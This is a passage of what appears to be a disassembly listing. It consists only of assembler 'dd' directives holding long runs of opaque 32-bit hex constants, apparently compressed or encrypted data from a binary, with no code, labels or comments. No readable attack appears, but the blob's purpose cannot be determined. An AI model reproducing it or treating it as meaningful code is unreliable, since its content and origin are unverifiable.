		dd 30FFD600h, 208EE48h,	0F9D2CDD1h, 0A0644A67h,	0CBD4194Dh
		dd 0F0440Ch, 0DE97A685h, 0A273A08Fh, 521C57FCh,	0FBC2896Eh
		dd 8041B70Eh, 3B62DBF3h, 0D15D2E0Dh, 3C0F171Ch,	5C840884h
		dd 0DC2574FBh, 21079431h, 6037E4h, 5A8FF8A0h, 0F67DA16h
		dd 77C1B889h, 13C1208Ch, 90C905F3h, 27D7D0h, 0CD37414Ah
		dd 2B216302h, 9479422Eh, 1C307939h, 85D88088h, 48B629A1h
		dd 0A87D1C80h, 0BDBC0C48h, 10D01620h, 582AE589h, 8CDA3470h
		dd 47C9AD02h, 0C082E7BFh, 302A16B3h, 3231076Bh,	0EB012062h
		dd 8E1CE517h, 7876FBh, 68BEC3B0h, 0B860EB81h, 9A0D32Fh
		dd 0D8E8A37Ch, 0C5007057h, 4E389020h, 9A1F53Ah,	6137A35Dh
		dd 8E34EC23h, 0D2203FC2h, 73842982h, 6C71E94h, 815D1FB0h
		dd 9326D7BAh, 28F0293Ch, 0DD1F586Ah, 38069B6h, 703057DCh
		dd 878B4A71h, 0A9C9F044h, 9D2DC0C6h, 7D7C0220h,	0C8BA5h
		dd 449087BCh, 980D5202h, 9D07C522h, 6CB2337Dh, 0D30B45C0h
		dd 5E060556h, 818FEBC9h, 68361B18h, 608C8EB8h, 7FAC2B93h
		dd 2C524811h
		dd 84050410h, 95413747h, 60B37CE2h, 15607F78h, 7EA1941h
		dd 967000B1h, 3A56C002h, 3B0F2612h, 37230F8h, 0C1C7828Dh
		dd 118A3120h, 114E802h,	84BDEF1Ah, 8790F02Bh, 1F1F2099h
		dd 1B0A9D05h, 0E91840E2h, 2B3E7009h, 80AEBD39h,	0C225F36Dh
		dd 95F411F6h, 19F7CC90h, 428CC68Ah, 64E206B6h, 0F104D58h
		dd 0B2A54942h, 57725D82h, 108A8461h, 24AEF4Eh, 0D3CD2F22h
		dd 0CE0E138h, 0C02E68B5h, 0B718F91Bh, 0E0E2FC61h, 45D6170Bh
		dd 0B2208851h, 0A8E72101h, 80F00D5Dh, 27A2CC24h, 603A45D5h
		dd 0B00E8C66h, 4777A27Bh, 81102094h, 0F31002h, 59AE4E1Dh
		dd 5E18EFAAh, 7D7E4C01h, 0DEF0D2D1h, 1FB50C20h,	8F76DBBDh
		dd 1889BA45h, 8800608Fh, 0CDA5A64Fh, 544C10Ah, 4647F012h
		dd 9DC0408Ah, 49BA5Eh, 0FD8530C4h, 0F23D6F93h, 50C12BF4h
		dd 4E3E0B82h, 8D3922FBh, 0D9845800h, 49C4098Ch,	0E64AE0EFh
		dd 2835B06Eh, 4418363Ch, 0A6770496h, 0D5BAB00Eh, 75A1C037h
		dd 38D97293h, 0F66DF7h,	0BA95EC7Fh, 0EBB7C9CFh,	91F0F650h
		dd 0EC458B5Bh, 88BDC8h,	68E64C79h, 71E88C80h, 0DA130CF7h
		dd 0D40016DDh, 1E87721Fh, 6082973Eh, 84A0066Ah,	0E04796A7h
		dd 80885C04h, 0E08E05A6h, 0D07D9017h, 0D72EB5DCh, 0BE175200h
		dd 9B1A5A6Ch, 1D3E1D40h, 5CB1244h, 810B37A4h, 0F0B75B44h
		dd 0E422D4BAh, 414700C2h, 898E9D55h, 9197955Fh,	33F4EFC4h
		dd 20C10117h, 14B33550h, 10C703Eh, 0D03AF624h, 5C263211h
		dd 220913FDh, 0E4E355F8h, 93E696C8h, 8414B87Ch,	1083E8Ah
		dd 7A92A525h, 0F02D7954h, 5C7C1374h, 0BC0CCB3h,	3B307100h
		dd 0FE5621ABh, 0E70C005Dh, 0B57CFB7Bh, 0B1DF943h, 0A3C0B2E6h
		dd 3AD67809h, 26AD7FFEh, 53DD7Bh, 0BD443313h, 1003C9Ch
		dd 525D39BFh, 0C09DB657h, 29023579h, 0DC029FDEh, 8D5EF56Bh
		dd 30F020h, 0BCA41566h,	8EBEC955h, 906A31C9h, 153E64Ch
		dd 88FDB0ECh, 0CD4F8422h, 90042434h, 154BB090h,	0EF47E420h
		dd 193D0255h, 0F5B83674h, 0FEAEA860h, 100E5Ch, 1278534Ch
		dd 2DEC8h, 0E7306FB6h, 90F38D44h, 0FA584FF0h, 0BDA9034Eh
		dd 0E00237A8h, 46EB540h, 0E028BB3Ah, 7DB898F5h,	6ACA68Ch
		dd 7E01BCB2h, 312562Ch,	0AC2C73F1h, 60834AA2h, 2637515Ch
		dd 76B5745Ch, 0C3AFEE01h, 382E407Fh, 841CF474h,	44BDC925h
		dd 1A08EBE4h, 0C546E0Fh, 0A079C940h, 0E0AED8E8h, 0BB90028Eh
		dd 0B5D2968Dh, 0E2067044h, 0CCE5DB03h, 0B01C0011h, 37F0BC6Fh
		dd 99030509h, 7BFD4149h, 718C90CCh, 4CD30E0Ah, 0BEA0286Ah
		dd 562F512h, 0BF263A00h, 413B9BBCh, 1B5EAE6h, 0FD421C72h
		dd 0BFCAE5DAh, 80A03961h, 992D7512h, 0FC86E9FFh, 0BEBA01C9h
		dd 1E64DF88h, 0A7D98093h, 0A98F75A4h, 71A50029h, 836DEDADh
		dd 6C091AA6h, 86F5D870h, 1C3181B8h, 0AA0CEF82h,	44D60208h
		dd 0A357DB3Fh, 0CA008064h, 0D055FCEh, 0E299D4FAh, 0A9E600A2h
		dd 0C3696F5h, 503501EBh, 300BE042h, 20448Fh, 982940C2h
		dd 90EC0D2Ah, 0E0B31C2Ch, 344E4CBh, 59FBF76Eh, 0B2D43BE2h
		dd 0DA0A00F4h, 391D751Ah, 51B1007Fh, 64F2493Dh,	0F4987731h
		dd 0CF9F3202h, 427C5E1Ah, 5C0811E0h, 6687EC3Ch,	3790C7EEh
		dd 0C919B120h, 0C6DEFC93h, 10BAD72Dh, 1666F828h, 13572D2Fh
		dd 67D00C28h, 9097DF11h, 472CE60h, 0CFFFBABDh, 0E729802Bh
		dd 0EB35D4B2h, 8C808F8h, 7E203CFFh, 0C4654801h,	0D86E83A5h
		dd 0EB00F42Ch, 0F241DBAAh, 0DD3EA3A7h, 98DF31h,	0D5CE90BEh
		dd 0D9171763h, 3827734Dh, 705650D2h, 490B2690h,	722D4758h
		dd 3C7487B2h, 0D2EBF3Ah, 1064F382h, 90196048h, 8C553A39h
		dd 13D30212h, 240A3FAh,	0EA10C5FDh, 0EF2CC17Ch,	120A87D8h
		dd 91F73BDFh, 2CB4D118h, 0D9019F68h, 0DD59CE83h, 7A805028h
		dd 0FE40A990h, 1FD35500h, 45AEFBC3h, 8127048Bh,	0A890DE31h
		dd 4AB2C940h, 0A90851A8h, 56448010h, 0C8EE8788h, 465858h
		dd 0DE090A39h, 5B7E62BEh, 424C227Bh, 0A325300Eh, 844500A0h
		dd 0B27F0877h, 1B435300h, 4BE2B6D4h, 0E05D6F7Dh, 929B1800h
		dd 8501E702h, 0B1170636h, 3EE0030Fh, 51CB3052h,	5C4AB928h
		dd 0D2832E02h, 0D947B814h, 13332684h, 0A3208807h, 4C5BA720h
		dd 0E981D81Eh, 40B76947h, 0C69576E3h, 0DC48C800h, 941853D7h
		dd 0B88305D0h, 0C9040644h, 0D2146148h, 4ED53100h, 34B50070h
		dd 0DC28BAF1h, 35302FACh, 6ADF8059h, 0D01CA10Ch, 1769FCh
		dd 2D38B9FAh, 26DED1FFh, 0D9332700h, 79BEB185h,	59F61488h
		dd 9C4CC804h, 41A0224Ah, 123E41Bh, 7908B180h, 8F02BF03h
		dd 0B85EBC86h, 42872Ah,	7BE6FF0Bh, 953683FDh, 0BC4410B8h
		dd 0E8250044h, 0E27201BBh, 0F2480FF8h, 0E4AA812Ch, 14296145h
		dd 28805C59h, 5A0E3176h, 0AE232000h, 391170BFh,	6AE0253Dh
		dd 0FA8D90A0h, 3600CCCAh, 0C6B90A0Fh, 0A376ABh,	0A0D4E208h
		dd 0D3F21D3Bh, 0B6145009h, 7F341043h, 0AF70BD7Ch, 9091DE09h
		dd 0A21C6980h, 0FE9A8048h, 41EE0423h, 0B3D6881Bh, 4609A2E0h
		dd 1238B408h, 3400452h,	283CCDC3h, 310886C8h, 0C1842289h
		dd 7888C85Ah, 5209C7Ah,	689C85D3h, 0BB448664h, 0F60AECB5h
		dd 22F64B3Bh, 8D04BEFCh, 0C6114108h, 83163B00h,	6A4F1E58h
		dd 0D2542097h, 3805E351h, 8809012h, 1186F340h, 96002FEFh
		dd 3495D16Ah, 2AFF681h,	0E45306FCh, 5081890Eh, 2E413F0Bh
		dd 6B38B870h, 0C3E30407h, 0C08B68B3h, 0A4ABA830h, 0C3EB4525h
		dd 2721468h, 0E84C0CF0h, 0D1B8285Ah, 0AE21691Fh, 0DC451A8Fh
		dd 0B1C7B080h, 2E39A92h, 9DB5EB80h, 0A0065CEh, 0A4EDDE01h
		dd 0BF820688h, 11951E12h, 4A24E800h, 31381418h,	0D5F2FEh
		dd 43C89355h, 5FCBAC60h, 2498584Bh, 39852AABh, 38890B08h
		dd 0F0465499h, 0AD48C300h, 2F6FD645h, 0DE7107B5h, 0C0C441Ah
		dd 84057CC9h, 1BED0B9Ch, 0F51E80B3h, 5E5F001Ah,	20F2CA45h
		dd 7A0090B8h, 0BE437752h, 0B638F3h, 3D7CEE46h, 92A7FE02h
		dd 8D40E894h, 507F4B8h,	4DAC22E0h, 64B4C71Dh, 883B3121h
		dd 0B6848005h, 710002F1h, 8EED1241h, 2E930938h,	90B037E2h
		dd 85B7C44Fh, 0E3B4E740h, 0C62701F9h, 457860B6h, 3B0A8439h
		dd 881D66EDh, 0CCBCF740h, 13781E70h, 0C9754519h, 5D708045h
		dd 91120FF5h, 50E55082h, 0EB807C2Ch, 0DD7B41E4h, 61968900h
		dd 0FDF4A092h, 91995C4Ch, 41505C4Ah, 36BE1AFFh,	0FC022FCAh
		dd 2142A25Ch, 0D0A87722h, 0BF0134FAh, 32E28652h, 2C2351C6h
		dd 0A63AF807h, 0FB56614Eh, 0D0D5ED9Bh, 0A80070E0h, 211F6B97h
		dd 9EB43494h, 0D8142714h, 9699CC00h, 4F7F1232h,	1E2F710Ah
		dd 0CBBED967h, 0F0C89A0Ch, 0C501B6B3h, 0A172C620h, 840E2FEh
		dd 10F7B243h, 7CDD3609h, 680CED52h, 0A491C10h, 8137A6BCh
		dd 0A0B868ABh, 7E340050h, 3ACE8A5Ch, 4200F5ACh,	0CDC827ADh
		dd 0BDD0A6Bh, 831EB65Dh, 0FC7DE4A2h, 35E03861h,	0C35891CCh
		dd 51C01900h, 0CD71B1B5h, 0FC1B1E24h, 0C4859E17h, 2C0E8425h
		dd 8C989345h, 4FA500D3h, 607D1D1Fh, 0D4E0C09Fh,	11131094h
		dd 9A7E4D09h, 58B44CA8h, 0DD2D5883h, 60F06093h,	2900E01Ch
		dd 568D5CA7h, 1F2D26F3h, 469265FDh, 0C94F7B93h,	4865DA5Eh
		dd 0CC00C0E2h, 0DF5C4912h, 0EE1C299Eh, 1DFBB6Dh, 8096D304h
		dd 0EC93CCC2h, 0C3C8125Ch, 70F4B78Ch, 51303E02h, 6286B844h
		dd 90BC451Bh, 131625BCh
		dd 874C80E0h, 65D800EBh, 2A127A89h, 480ECE94h, 0A14BAF03h
		dd 577FA3F5h, 0A44C2877h, 626E1Ch, 0BB3D3703h, 0AA5C24F0h
		dd 81005C1Fh, 0BF150544h, 3A22EC62h, 0D1329512h, 99ACD407h
		dd 4F3051D6h, 1B4820B3h, 0FB0023E9h, 7969F98Eh,	3FC54BAEh
		dd 3E8043E4h, 0CA707BA8h, 8A180D0Ah, 0C9404D83h, 0E18844BBh
		dd 2874B41Ch, 0B61B12C1h, 10ECD26Ah, 7B7D2CA1h,	1F470083h
		dd 0A37E5A36h, 42B608A0h, 305C14A1h, 0BA00E808h, 51E3059Fh
		dd 7C6F277h, 572CC8F1h,	81A0CE7Eh, 6EB602ADh, 830080FEh
		dd 92A2FDB7h, 23BF5AAh,	6B360A1Eh, 10DA6A3Eh, 6DCCD300h
		dd 1522435Ch, 0F1E0082h, 1BC58B42h, 512CC273h, 0C9307110h
		dd 0F18F20Ah, 0B35A6A5Eh, 0B8E23660h, 0CA008002h, 0FB122A3Ah
		dd 46B587h, 0A0EB0C71h,	77A1A87Ch, 2B3AD30Fh, 0A0B00EC8h
		dd 0BD14F1B1h, 0D8565C69h, 224D7902h, 105CA051h, 0CC8E1242h
		dd 0E0B23CE0h, 0AC20852Fh, 0EFD8F419h, 0E700A2F8h, 6AF6847Dh
		dd 78890F5Eh, 227F4ADEh, 61044688h, 60311A07h, 0BA8580F3h
		dd 0B0C15D4Ah, 0F1003D57h, 80D2C0B2h, 44C8E4B2h, 0D1248952h
		dd 243BC4DCh, 645B94A9h, 7478A2F4h, 2600D274h, 0EF9599A1h
		dd 0E0E3013Ah, 64E97D96h, 8085301Dh, 3BE40AF8h,	0C8A4FC48h
		dd 0EBD10C4h, 37916B2Ah, 34CE4056h, 0A1000D22h,	29537295h
		dd 9E1269h, 9A0E5446h, 0A658538h, 98A03BFAh, 2D09EDB5h
		dd 4AD687E1h, 5A840E90h, 620CD619h, 0F643912Ah,	0C0C8F90Ah
		dd 0EEC03C96h, 3B1728h,	41FE8540h, 9719436Ch, 0E429B203h
		dd 0C8700BA7h, 0CBC97E90h, 0A8C8A249h, 0D20099D8h, 0CD987B5Ah
		dd 5E0E14EAh, 0A3C487Dh, 5E43E840h, 0C220003Bh,	2A66D73h
		dd 463EF9C0h, 13BB26D8h, 0D08E814h, 29C1F83Bh, 0B68DE88Eh
		dd 0DD12AAE0h, 0D7A5DC4h, 0FC56DC02h, 64E654BCh, 55B61CFCh
		dd 0BE1F7D96h, 1E3EC5FAh, 8694A428h, 0B89E8D78h, 6D42B580h
		dd 7B5E7DCAh, 1D377C20h, 93E826E2h, 0BC44F0CEh,	0F869A289h
		dd 0E98F4500h, 5B544AC5h, 0D5804900h, 506B1C3h,	4C6898BEh
		dd 0E589DC0Fh, 8A079C52h, 0A74A19Fh, 9487E200h,	9E6303B5h
		dd 0D63F8B1Bh, 7D8C7AD0h, 80DBB03Dh, 6806100Dh,	3CB698F4h
		dd 5BB09D4Fh, 74589221h, 7256091Eh, 9820A393h, 0FCF7D6DDh
		dd 0C0030213h, 74C87DF0h, 0A33A480h, 0AA5EACA1h, 1134EC0Ch
		dd 14E85002h, 0F8BF4CC9h, 205A6A8Bh, 0E794B800h, 0BF1998C0h
		dd 16A4EE73h, 8D82273Ah, 0BC202BA0h, 184CA29h, 7BF62255h
		dd 30CD308Ch, 0B0B487E1h, 54479064h, 1200EE0Fh,	0A5090769h
		dd 5037A700h, 13A3E520h, 1204B27Ch, 0B2BFF301h,	63250034h
		dd 0C11A8E39h, 302107CBh, 50332B90h, 54053A92h,	1A1B5E25h
		dd 4150DCF4h, 2E88BCC9h, 20BBB022h, 190C8BB5h, 3BE0B8BDh
		dd 0B1360903h, 688093E0h, 5DB0AFADh, 0B04D0BEh,	44E24B3Ch
		dd 8FF0285Eh, 7E532B1Eh, 3FA67A40h, 9171D9D1h, 282A9290h
		dd 0C09D4FA8h, 3A955445h, 8E80D37Ch, 842B7953h,	0BCE5E1h
		dd 0B0019829h, 1A286637h, 0B180E428h, 9399344Fh, 96B71302h
		dd 74A375ABh, 0EFCA44Ch, 8561D79Ch, 7396117Bh, 0B95F0010h
		dd 2A03682h, 943B4D87h,	8D26047Ch, 40046A8Fh, 0DB0F278Ah
		dd 20A70AEAh, 4E98836Bh, 5867B6EEh, 497040D7h, 0FE485FB9h
		dd 80E805D8h, 0B4A69325h, 0A300C622h, 0ABE8C42Ah, 0B7152A8h
		dd 6378C0C2h, 2000466h,	0E54628E7h, 0F0FFE309h,	4108A0BFh
		dd 0C8DC4F06h, 4A7B7760h, 297D9200h, 0E1ED43Fh,	2AC10774h
		dd 0F0ABCA68h, 43016DB8h, 0B4A53908h, 0F6DA82B9h, 9C40F1D9h
		dd 4A24691Ch, 6F01945Dh, 0E2FD5357h, 81C0BC42h,	1D203A08h
		dd 8490298Bh, 1925B0F9h, 8C2CF490h, 9B8B2D6h, 8084F9D7h
		dd 1F6783F1h, 0F6C0074h, 0C3F5684Ah, 0E70B3015h, 0C5F669C9h
		dd 7866083Ch, 99369505h, 0ED4ABC04h, 0D4BCB780h, 0C6B724C9h
		dd 0D2854274h, 54BDA224h, 0F1833A00h, 85F8B0A4h, 843D9600h
		dd 33B25AAFh, 2E7300D5h, 8F38003h, 3E2A8291h, 2080D422h
		dd 0D2005658h, 6520D071h, 91C04Dh, 93BCAEF9h, 79787284h
		dd 0C3C94C12h, 36891CA9h, 5609B079h, 0AFEC1B1Ah, 50BD2980h
		dd 0F4583967h, 63474387h, 9C2A11D4h, 0BD40604Bh, 520C9095h
		dd 98414A45h, 3072DCCh,	155764E6h, 0D52EE3A0h, 91B83EB7h
		dd 8B17200h, 0B6C2E043h, 98536C1Dh, 92FD02FBh, 7C7E7A90h
		dd 20AD6088h, 58A23A77h, 0ACE5B0C8h, 6992F201h,	5423146h
		dd 0F6201F0h, 82FB522Bh, 2A20C280h, 33E0F141h, 0F5DC9897h
		dd 0E278A864h, 0DA343E76h, 0B702D180h, 0C997F429h, 272D9900h
		dd 0EBB65808h, 0BDB231FDh, 6A879008h, 30BE4422h, 8C441E65h
		dd 6B5500E8h, 0B5BAFB62h, 2EF3ADDEh, 0C30E8020h, 86140076h
		dd 9932B34h, 0FD35E661h, 10B22008h, 0C71ADC00h,	0AEE32ABDh
		dd 936ACE00h, 11CCF25Ah, 0C18E0255h, 0EE0B4F45h, 0C70A3520h
		dd 73360413h, 8C8FBC87h, 0F300C674h, 764AD99Fh,	40545h
		dd 386F74EEh, 660F6B5Dh, 0D03BC90h, 544A239h, 20395B3Dh
		dd 4AAD0800h, 0D75D0402h, 54419F36h, 10C424Ch, 90AD5C74h
		dd 9112ACh, 0F537649Fh,	0C1825A5Fh, 54476D09h, 290C5A6Ah
		dd 2C8C450Bh, 2BF1600Ch, 480F0E5Ah, 9315434Dh, 0A27F80D0h
		dd 8C12BF39h, 73951861h, 0D74A00A4h, 0A82EFAF0h, 0C4921C05h
		dd 0CC3A40DBh, 5D86E54Fh, 76BE0F1Dh, 0ADC0A544h, 270B84C8h
		dd 1CE45342h, 0ACC8544Fh, 65C100CAh, 31A3D58Ch,	8716E68Ah
		dd 1941A44Bh, 0C62A935Fh, 24E290C0h, 40B0224Dh,	0BDED828Eh
		dd 0E5DA4E13h, 0FCD998B4h, 0D53C00D8h, 0D76C1A5h, 0D0038919h
		dd 15A2C77h, 0BD45A817h, 0E52D2422h, 2B367184h,	0D44A005h
		dd 162A8F4h, 2D08143Bh,	215BECC9h, 0FD85C896h, 7FEFDD00h
		dd 90F4BEC5h, 12F89986h, 7EE0F4A2h, 0B8C28902h,	4C0E4F3Bh
		dd 97CE0F90h, 7FC05977h, 213F427Bh, 44327800h, 0EC3519EFh
		dd 868B82Fh, 73976EC3h,	0AE5D7001h, 106BE342h, 0E84808C0h
		dd 8229C234h, 0B221BB88h, 0F862408Ch, 0C0B52504h, 0CAC4F9BDh
		dd 6687187Dh, 89C2E59h,	0B82695E6h, 775CA29Bh, 9E3000ECh
		dd 3CEC8447h, 2F5F8A9h,	7AD55E03h, 80C9AFA8h, 0E4107D0Bh
		dd 5A799C98h, 73D49C7Eh, 0A490C8A6h, 3C88B613h,	92853421h
		dd 806468A1h, 13B07DE1h, 0C48A8A2h, 79BF25ECh, 658CBF58h
		dd 42588BDFh, 1AF888C1h, 20F048B5h, 4DBB03F3h, 33809B1Bh
		dd 0E8F18DC2h, 0ECED0828h, 7E26C960h, 0AB00BBE4h, 0DD73F5C2h
		dd 0B968C4BDh, 4CC4A48Bh, 0D1F42000h, 52C012B0h, 12F6705Eh
		dd 0D0B28091h, 0F949B518h, 43711B03h, 0C513E0Ch, 0C6BE2AA9h
		dd 76889450h, 34F71663h, 698C0CA7h, 15B4429h, 22030C8h
		dd 0C9FBAF72h, 7453D0BAh, 964E4084h, 0D995AA80h, 997600B5h
		dd 22EEEF0Bh, 0BCAA9D84h, 3775A802h, 8774BC90h,	0A490BD38h
		dd 8860107Ch, 25DAED38h, 283A0D2Dh, 124194DCh, 10DC099Ah
		dd 0A0C40339h, 8090D5F6h, 12C4E9B5h, 142E8DC0h,	0B790C113h
		dd 921E0158h, 62CCD77Eh, 353CFECh, 0B63A86EBh, 64D83B2Dh
		dd 8705A873h, 495E1247h, 891DC481h, 0A30B5510h,	0AC06A71Fh
		dd 956DB542h, 584DC14h,	57AF1E1Bh, 3ACE3E4h, 0D73DED74h
		dd 5C1DA86Ch, 19270144h, 90941B5Dh, 0A05C7C8Bh,	2DA8A40h
		dd 5E79E8F5h, 0D056FEEBh, 0C2E10440h, 0ACB0086h, 0AD4BD9EDh
		dd 0CD007848h, 0E4BB7BE7h
		dd 21F3A1Ah, 0AAA99586h, 0E06612BDh, 3CDF9A3Fh,	27E694EFh
		dd 0D28A89CCh, 9751F024h, 5BF5C80h, 5578982Bh, 48451E00h
		dd 0F8DE4BB0h, 70855BA3h, 0FE5EC0Ch, 8B74B700h,	60EEFD36h
		dd 3C9D5079h, 0F412BD0Ch, 7C18508Bh, 89C3E3E6h,	4899C4C8h
		dd 0CC218819h, 2B004211h, 2CEF4025h, 44CF662h, 0C03802F9h
		dd 0FA64D721h, 0BE162EBCh, 28B20048h, 0B6205D26h, 0A53B5407h
		dd 7D5133F3h, 0F144E2AEh, 28B24E8h, 0E395F8E4h,	84DAAA7Ch
		dd 0ED404140h, 641A02C9h, 0B5B4D100h, 0A879A608h, 0C8365ABEh
		dd 23026D64h, 0A444703Ah, 45D87AD6h, 3C087A55h,	57D89E82h
		dd 14D0E091h, 38F1E22h,	273D4EC1h, 3A802B38h, 0F909244Bh
		dd 56BFD4F0h, 4E2640F4h, 0A6000597h, 54A817A7h,	0CE2AF5h
		dd 0A54F39F6h, 65826E0h, 0B60E4C99h, 6EFD60B5h,	9CBE87E7h
		dd 6A1FC1E4h, 0B6C9D8C4h, 398BB099h, 0CC3C827Dh, 0FA1CFABBh
		dd 0B3908884h, 59B58A00h, 0EA2A1B87h, 0F2D34AA5h, 0C3090028h
		dd 5CDC2842h, 2C494C6Ch, 411E8C1h, 438BE8E5h, 67D91D00h
		dd 1B36991Eh, 0B2D4012Dh, 887455AAh, 9E43DCEh, 9081912Ah
		dd 2E1914h, 371E383Bh, 303A5DE3h, 1174F24Ch, 0F188533h
		dd 0BFE57107h, 72C739C0h, 4C54E4A8h, 3E18D471h,	6B31F196h
		dd 4600CCB9h, 159ACB85h, 242A0104h, 0C10ED544h,	971FF879h
		dd 9BBC1802h, 2A538BEh,	0A4D4BB3Ch, 96CB28C0h, 408D002Ch
		dd 9A828084h, 0F626CCB2h, 0E01168F7h, 5DC4D84Fh, 0D018F899h
		dd 0B5BFC821h, 3F5D0C91h, 0EF30F020h, 0E8F30BC1h, 4402D177h
		dd 0BE018F26h, 9898DFFBh, 0C9F8D1F0h, 32544697h, 0E0208439h
		dd 10F4FB2Bh, 0F6F8830Ch, 0D901018h, 60B13338h,	628182Ah
		dd 3DF4416Eh, 6086212Fh, 0C1FF3C14h, 0BFACFD41h, 50303A84h
		dd 8DF291h, 0F1BA945Bh,	0C6896219h, 9E8B6603h, 80EA0BEFh
		dd 7A57F7Dh, 336DF201h,	0C187804Fh, 6C184EE7h, 8FF08146h
		dd 13E425A1h, 0FA000064h, 180C19DBh, 3AB204Ah, 0D733C794h
		dd 2AD095A4h, 9148B5E0h, 6764C7B4h, 8EE62FE1h, 3F0726C0h
		dd 498A95A9h, 11905A39h, 72F10150h, 0C432AF93h,	7C3D8C70h
		dd 1DF00016h, 0DD8694B2h, 0E40083EDh, 2B6A9ACDh, 799757FEh
		dd 373B03B6h, 0E61A5D39h, 6710CD0h, 8020E35Ah, 71D38203h
		dd 0E2C73EEAh, 4891402Dh, 24F81595h, 538C4C0h, 66001FC5h
		dd 0B078FA51h, 5C1279Bh, 2BB20A96h, 0E6E8E159h,	0BB346112h
		dd 60F9B112h, 92378E00h, 39F8A77Dh, 9980744Dh, 53E52E75h
		dd 5E0EE9A6h, 8078578Ah, 9131C1D4h, 24109582h, 2F3A3C9Bh
		dd 0CC0C01C0h, 0E655341Bh, 78C96C40h, 26DC0051h, 98B6D3E7h
		dd 3900CCACh, 66BFF73Bh, 3CC36885h, 0CB849CBDh,	0BF73A47Dh
		dd 51BE01C1h, 2E0BFC26h, 68F1F945h, 0B47E753h, 0F4641249h
		dd 8C4100ECh, 8B225E76h, 8858C75Dh, 886445h, 323F867Dh
		dd 420CB291h, 45F40B08h, 503CD939h, 0D0993A0Bh,	1210440Fh
		dd 0FD6D8DCh, 5B85627Eh, 0CAE33240h, 6402D887h,	1C675D15h
		dd 5900FF19h, 0E40238A9h, 8C75BC07h, 9EC33B62h,	0A39C0FCh
		dd 36191CF7h, 0EE1A4057h, 49BB794Ch, 0BED431BDh, 77F8E208h
		dd 18D9966Bh, 9550E08h,	0AA258565h, 3F3D70C4h, 0DAD7805Ah
		dd 2D5B3C9Eh, 366B008Fh, 4C030C10h, 4F035155h, 6C30F74h
		dd 5780EF32h, 28A579BDh, 7E0CE720h, 205D5A95h, 0E0DF13B0h
		dd 4B4E5304h, 8FC26480h, 94D8AB0Ch, 0F247144Ch,	3C27DB7Ah
		dd 58902410h, 961D5600h, 0FDFA0C5Bh, 17030A7Bh,	382F0A6h
		dd 48C01AA9h, 375822h, 0BF5DE295h, 2B50CA9Ah, 20C53800h
		dd 563C88DEh, 8BE8BCh, 5D2C8DF3h, 9323AD7Eh, 0B601BF00h
		dd 61F53364h, 0F7D719Fh, 2CDDCC9Ah, 0A4C94480h,	260173A7h
		dd 65769092h, 7092B075h, 5C140142h, 289EFA3Ah, 0D8A079E8h
		dd 0FC91E196h, 0A0C12A8Fh, 0E2BEAB7Eh, 1E1A77A7h, 8FBF7AE7h
		dd 9640D101h, 4857BA0Eh, 0BE22E892h, 2408B98Bh,	6B6C025Fh
		dd 586167A2h, 705C1007h, 9F6990CAh, 0F01C9C13h,	8D89CE16h
		dd 657D0FDh, 0AE5DDE40h, 60991915h, 0E6780C80h,	2F09BD6h
		dd 32AA28AEh, 10552A96h, 71A5A8h, 1EB3976Eh, 0ED40D839h
		dd 0FD603A0Eh, 0E07A0468h, 0DF2D44B9h, 1CB8440Bh, 670E05A9h
		dd 34F929h, 0D96AFAB4h,	7DE13FF8h, 57C21376h, 44F03021h
		dd 5F03C8F4h, 2C5BB5F1h, 7E83F0AEh, 0D6301456h,	0CF02F6F5h
		dd 0CA657A96h, 3142C449h, 36CC4210h, 9A0F3120h,	31114C37h
		dd 245CB326h, 58C009D0h, 414048D6h, 3C4C4Eh, 179AAD39h
		dd 51EFC475h, 0E2DEDB00h, 741E1BF4h, 34B90AF9h,	80B4046Bh
		dd 8B6757C8h, 805C0FB4h, 0A292C078h, 0D66058h, 78624F25h
		dd 76AAB53Eh, 5F5B3D5Ch, 0BCB07C12h, 0A44887Bh,	74412569h
		dd 0E2AB6718h, 1360C2FBh, 0CB019C09h, 0E1762723h, 123B62C1h
		dd 0A83830E2h, 130960EFh, 84735771h, 8C09320h, 9A618D3Fh
		dd 0CD812DECh, 88038410h, 0C6E71A00h, 0FD671246h, 0BA651035h
		dd 951904B5h, 2C8D7C90h, 0E0626C42h, 245D678Dh,	16B8526Dh
		dd 74B324h, 0B2C2EF2h, 4771859h, 0FE6FFC08h, 5048C699h
		dd 38CB8025h, 2B33E2B8h, 48EF25h, 0B65E5AE9h, 56011734h
		dd 0F18906ECh, 7863B8C9h, 0B50E8321h, 22B19B9Dh, 0BCB0C168h
		dd 0C0C84032h, 3DBC84E2h, 195D0F22h, 8979F7Ch, 0B158A0B6h
		dd 0D803442Eh, 377C8169h, 889FD16Eh, 0DACA09F8h, 0E42570D4h
		dd 29F71DE4h, 0F8504E8Fh, 22209823h, 485101E3h,	6B18C6DCh
		dd 1F3298E7h, 2C66E2AFh, 88141024h, 760C80CCh, 434C0ADh
		dd 0B3154E00h, 84F26387h, 1DDA096Ch, 149868FFh,	1A0179AFh
		dd 0EAB9E511h, 0A0A824D6h, 8E4F27D0h, 2D00D850h, 48A4BA0Fh
		dd 0EB2045Ah, 0D37A0EC2h, 0C95C8963h, 0CC33AFC4h, 7CD99194h
		dd 0E242D4h, 0CAB7CFB4h, 3985B6F1h, 530431F0h, 8D7B25DCh
		dd 0F600E8B8h, 90D87438h, 7725807Ah, 899CF8BFh,	0E91151CCh
		dd 1C5D83Ch, 0F4F67E16h, 0AEF50404h, 0B20E9080h, 0A04D6F65h
		dd 0B09EC283h, 0CBAC180Bh, 0EF6C003Dh, 94CC05Eh, 3F62778Ah
		dd 0ECC8700Ch, 890DCA00h, 0B38B74B4h, 4E500ADh,	66BCE643h
		dd 8201CC88h, 30148B8h,	408477AAh, 0FD63554h, 38C72836h
		dd 198D4798h, 80065060h, 0A1743AA3h, 881570A8h,	3F40BF8Ah
		dd 0FBF10C72h, 0BE302FF9h, 0B237A302h, 5CFD8A03h, 0F2E83288h
		dd 10B0D902h, 21843AE2h, 5CC4B112h, 0D5AB8F02h,	9C6C7123h
		dd 969BFE01h, 0C131F2Eh, 7E8C3246h, 18AD4D4h, 2000E5DEh
		dd 10FB9B27h, 0EE623912h, 7A49340Bh, 3086BCE0h,	4718180h
		dd 463EB8C3h, 0FC8480E2h, 0D1014E2Dh, 39F5454Fh, 8500BE0Eh
		dd 0A130463Fh, 141EB0CDh, 8908009Ch, 0D9908DFBh, 7E30777Fh
		dd 0F53520A9h, 880A2913h, 98B5E220h, 74845D32h,	12A45485h
		dd 0C430B5A8h, 271D22DAh, 0B880A017h, 3F951BC4h, 0BA643800h
		dd 0C8B8B5EEh, 16207C25h, 7DD22Dh, 0B443C560h, 4F01D9A4h
